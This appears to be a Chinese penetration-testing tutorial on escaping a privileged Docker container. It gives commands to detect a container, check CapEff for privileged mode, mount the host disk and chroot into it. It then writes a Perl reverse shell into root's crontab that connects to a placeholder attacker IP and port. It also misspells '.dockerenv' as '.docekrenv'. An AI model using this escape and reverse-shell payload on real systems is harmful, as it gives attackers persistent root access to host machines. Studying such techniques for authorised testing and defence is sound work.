05-Docker特权模式逃逸

01-前言

在渗透测试的过程中,由于一些服务是部署在 Docker 容器中,所以当我们拿到一台 Docker 容器的 shell 后可能需要进行环境的判定,继而进行容器逃逸。在本篇文章中我们将进行总结学习,如何在拿到一台容器后进行流程化的 Docker 逃逸。

02-容器逃逸常见场景

**Docker**逃逸的常见产生原因及利用方法有如下几个,后续会在学习中逐渐整理:

  1. 因为特权模式启动容器造成 Docker 逃逸问题
  2. 因为危险挂载启动容器造成 Docker 逃逸问题
  3. CVE 公开漏洞中存在的 Docker 容器问题

03-容器发现

在渗透测试过程中,如何发现自己进入了容器,常见步骤如下:

  1. 查看根目录下是否存在.docekrenv,在根目录下执行ls -la,若存在则证明在 docker 环境。
  2. 直接在命令行输入env,Docker 容器会比真实主机输入的内容少的多。

Docker 容器
05-Docker特权模式逃逸_第1张图片
真实主机
05-Docker特权模式逃逸_第2张图片

  1. 在命令输入cat /proc/1/cgroup,若为容器,输出结果会出现docker字眼。

Docker 容器
05-Docker特权模式逃逸_第3张图片
真实主机
05-Docker特权模式逃逸_第4张图片

04-特权模式逃逸

什么是特权模式?Docker 特权模式向主机系统上的所有设备授予 Docker 容器根功能。在特权模式下运行容器赋予它主机的功能。
在容器拥有特权模式的情况下,可以在容器中再次开启容器,或者可以执行一些高权限命令,比如systemctl等。
进行特权模式容器逃逸具体步骤如下:
一:检查是否是特权模式

  1. 检查是否是特权模式启动,使用如下命令进行检查cat /proc/self/status | grep CapEff
  2. 如果是特权模式的话,会显示000001ffffffffff或者0000003fffffffff
  3. 成功显示0000001fffffffff,说明是特权模式启动容器,可以尝试逃逸。image.png

二:挂载文件到宿主机实现逃逸

  1. 首先输入fdisk -l,查看挂载到磁盘的设备,比如实验容器挂载目录为/dev/vda105-Docker特权模式逃逸_第5张图片
  2. 创建挂载目录,挂载到宿主机目录下,具体代码如下:
mkdir /testdocker1 && mount /dev/vda1 /testdocker1
chroot /testdocker1
  1. 此时如果使用命令cat /etc/passwd,等同于cat /testdocker1/etc/passwd,可以访问到宿主机相关文件,Docker 逃逸成功。
  2. 此时可以将反弹 shell 命令写入计划任务,进行反弹,代码如下:
echo $'*/1 * * * * perl -e \'use Socket;
$i="反弹shell服务器IP";
$p="反弹shell服务器端口";
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};\'' >> 
/var/spool/cron/root
  1. 查看计划任务,发现成功写入,监听端服务器成功接收反弹 shell
  2. 注意如果是 ubuntu 系统,计划任务文件为/var/spool/cron/crontabs/root,如果是 centos 系统,计划任务文件为/var/spool/cron/root

成功写入计划任务
image.png
监听服务器成功监听
image.png

你可能感兴趣的:(云计算,docker,容器,运维)